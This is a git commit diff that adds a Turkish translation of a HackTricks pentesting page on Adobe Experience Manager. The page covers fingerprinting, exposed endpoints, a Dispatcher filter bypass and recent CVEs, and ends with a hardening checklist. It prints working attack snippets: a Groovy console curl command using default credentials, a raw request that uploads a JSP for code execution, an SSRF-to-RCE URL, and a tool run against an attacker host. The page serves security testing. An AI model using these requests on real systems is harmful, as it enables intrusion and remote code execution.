mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/aem-adobe-ex
This commit is contained in:
parent
4f0abe05cb
commit
a8fd931d06
@ -1,5 +1,117 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Güvenlik açıklarını ve yanlış yapılandırmaları [https://github.com/0ang3el/aem-hacker](https://github.com/0ang3el/aem-hacker) ile bulun.
|
||||
# AEM (Adobe Experience Manager) Pentesting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Adobe Experience Manager (AEM, Adobe Experience Cloud'ın bir parçası) Apache Sling/Felix (OSGi) ve bir Java İçerik Deposu (JCR) üzerinde çalışan bir kurumsal CMS'dir.
|
||||
> Bir saldırgan perspektifinden AEM örnekleri genellikle tehlikeli geliştirme uç noktalarını, zayıf Dispatcher kurallarını, varsayılan kimlik bilgilerini ve her çeyrekte yamanan uzun bir CVE listesini açığa çıkarır.
|
||||
|
||||
Aşağıdaki kontrol listesi, gerçek etkileşimlerde (2022-2025) sürekli olarak ortaya çıkan **dışarıdan erişilebilir (kimlik doğrulamasız) saldırı yüzeyine** odaklanmaktadır.
|
||||
|
||||
---
|
||||
|
||||
## 1. Fingerprinting
|
||||
```
|
||||
$ curl -s -I https://target | egrep -i "aem|sling|cq"
|
||||
X-Content-Type-Options: nosniff
|
||||
X-Dispatcher: hu1 # header added by AEM Dispatcher
|
||||
X-Vary: Accept-Encoding
|
||||
```
|
||||
Diğer hızlı göstergeler:
|
||||
* `/etc.clientlibs/` statik yolu mevcut (JS/CSS döner).
|
||||
* `/libs/granite/core/content/login.html` “Adobe Experience Manager” afişi ile giriş sayfası.
|
||||
* `</script><!--/* CQ */-->` HTML'nin altında yorum.
|
||||
|
||||
---
|
||||
|
||||
## 2. Yüksek değerli kimlik doğrulamasız uç noktalar
|
||||
|
||||
Path | Ne elde edersiniz | Notlar
|
||||
---- | ------------- | -----
|
||||
`/.json`, `/.1.json` | JCR düğümleri aracılığıyla **DefaultGetServlet** | Genellikle engellenir, ancak *Dispatcher bypass* (aşağıya bakın) çalışır.
|
||||
`/bin/querybuilder.json?path=/` | QueryBuilder API | Sayfa ağacı, iç yollar, kullanıcı adları sızıntısı.
|
||||
`/system/console/status-*`, `/system/console/bundles` | OSGi/Felix konsolu | Varsayılan olarak 403; eğer açığa çıkmışsa ve kimlik bilgileri bulunursa ⇒ bundle-upload RCE.
|
||||
`/crx/packmgr/index.jsp` | Paket Yöneticisi | Kimlik doğrulaması yapılmış içerik paketlerine izin verir → JSP yükleme.
|
||||
`/etc/groovyconsole/**` | AEM Groovy Konsolu | Eğer açığa çıkmışsa → keyfi Groovy / Java yürütme.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Denetim günlükleri | Bilgi ifşası.
|
||||
`/libs/cq/ui/content/dumplibs.html` | ClientLibs dökümü | XSS vektörü.
|
||||
|
||||
### Dispatcher bypass hilesi
|
||||
Çoğu üretim sitesi *Dispatcher* (ters proxy) arkasında yer alır. Filtre kuralları, izin verilen bir statik uzantıyı **bir noktalı virgülden veya kodlanmış yeni satırdan sonra ekleyerek** atlatılabilir:
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
Tek bir istek yukarıda sıklıkla kullanıcı profil düğümlerini e-posta adresleriyle açığa çıkarır. P-T Partners bu zayıflık hakkında iyi bir rehber yayınladı. 【】
|
||||
|
||||
---
|
||||
|
||||
## 3. Yaygın yanlış yapılandırmalar (2025'te hala mevcut)
|
||||
|
||||
1. **Anonim POST servlet** – `POST /.json` ile `:operation=import` yeni JCR düğümleri oluşturmanıza izin verir. Dispatcher'da `*.json` POST'u engellemek bunu düzeltir. 【】
|
||||
2. **Herkese açık kullanıcı profilleri** – varsayılan ACL, `/home/users/**/profile/*` üzerinde `jcr:read` iznini herkese verir.
|
||||
3. **Varsayılan kimlik bilgileri** – `admin:admin`, `author:author`, `replication:replication`.
|
||||
4. **WCMDebugFilter** etkin ⇒ `?debug=layout` üzerinden yansıtılan XSS (CVE-2016-7882, hala eski 6.4 kurulumlarında bulunuyor).
|
||||
5. **Groovy Konsolu açığa çıktı** – bir Groovy betiği göndererek uzaktan kod yürütme:
|
||||
```bash
|
||||
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Son zamanlardaki güvenlik açıkları (hizmet paketi döngüsü)
|
||||
|
||||
Çeyrek | CVE | Etkilenen | Etki
|
||||
------- | --- | -------- | ------
|
||||
Aralık 2024 | **CVE-2024-43711** | 6.5.21 ve öncesi | Yanlış giriş doğrulaması → **Rastgele kod yürütme** (düşük ayrıcalıklı kimlik doğrulama gerektirir). 【】
|
||||
Aralık 2024 | CVE-2024-43724/26 | 6.5.21 ve öncesi | DOM / Saklanan XSS Move Page Wizard'da. 【】
|
||||
Aralık 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | Özel URL aracılığıyla DOM tabanlı XSS. 【】
|
||||
Aralık 2022 | CVE-2022-30683 | ≤ 6.5.13 | Kripto tasarım hatası → gizli şifre çözme (düşük ayrıcalıklı kimlik bilgileri gerektirir). 【】
|
||||
|
||||
Her zaman müşterinin hizmet paketiyle eşleşen *APSB* bültenini kontrol edin ve en son **6.5.22** veya *Cloud Service 2024.11* talep edin.
|
||||
|
||||
---
|
||||
|
||||
## 5. Sömürü parçaları
|
||||
|
||||
### 5.1 Dispatcher atlatma + JSP yükleme ile RCE
|
||||
Eğer anonim yazma mümkünse:
|
||||
```
|
||||
# 1. Create a node that will become /content/evil.jsp
|
||||
POST /content/evil.jsp;%0aa.css HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
:contentType=text/plain
|
||||
jcr:data=<% out.println("pwned"); %>
|
||||
:operation=import
|
||||
```
|
||||
Şimdi `/content/evil.jsp` isteği yapın – JSP, AEM işlem kullanıcısı ile çalışır.
|
||||
|
||||
### 5.2 SSRF'den RCE'ye (tarihi < 6.3)
|
||||
`/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console`
|
||||
**aem-hacker**'dan `aem_ssrf2rce.py` tam zinciri otomatikleştirir. 【】
|
||||
|
||||
---
|
||||
|
||||
## 6. Araçlar
|
||||
|
||||
* **aem-hacker** – İsviçre çakısı benzeri sayım scripti, dispatcher atlatma, SSRF tespiti, varsayılan kimlik bilgileri kontrolleri ve daha fazlasını destekler.
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **İçerik Brute-force** – gizli bileşenleri keşfetmek için `/_jcr_content.(json|html)` isteğini yinelemeli olarak yapın.
|
||||
* **osgi-infect** – kimlik bilgileri mevcutsa `/system/console/bundles` üzerinden kötü niyetli OSGi paketi yükleyin.
|
||||
|
||||
---
|
||||
|
||||
## 7. Güçlendirme kontrol listesi (raporunuzun önerileri için)
|
||||
|
||||
1. Örneği **en son toplu hizmet paketinde** tutun (Temmuz 2025 itibarıyla: 6.5.22).
|
||||
2. Varsayılan hesapları kaldırın/değiştirin; SSO/SAML'yi zorlayın.
|
||||
3. **Dispatcher filtrelerini** sıkılaştırın – anonim kullanıcılar için `;`, kodlanmış yeni satırlar ve `*.json` veya `*.querybuilder.json`'ı reddedin.
|
||||
4. Konsolları (`/system/console`, `/crx/*`, `/etc/groovyconsole`) IP izin listeleri ile devre dışı bırakın veya koruyun.
|
||||
5. Adobe tarafından gönderilen *Anonim İzin Güçlendirme* paketini uygulayın.
|
||||
|
||||
## Referanslar
|
||||
|
||||
* Adobe Güvenlik Bülteni APSB24-69 – “Adobe Experience Manager için güvenlik güncellemeleri (Aralık 2024)”.
|
||||
* 0ang3el – aem-hacker aracı (GitHub).
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user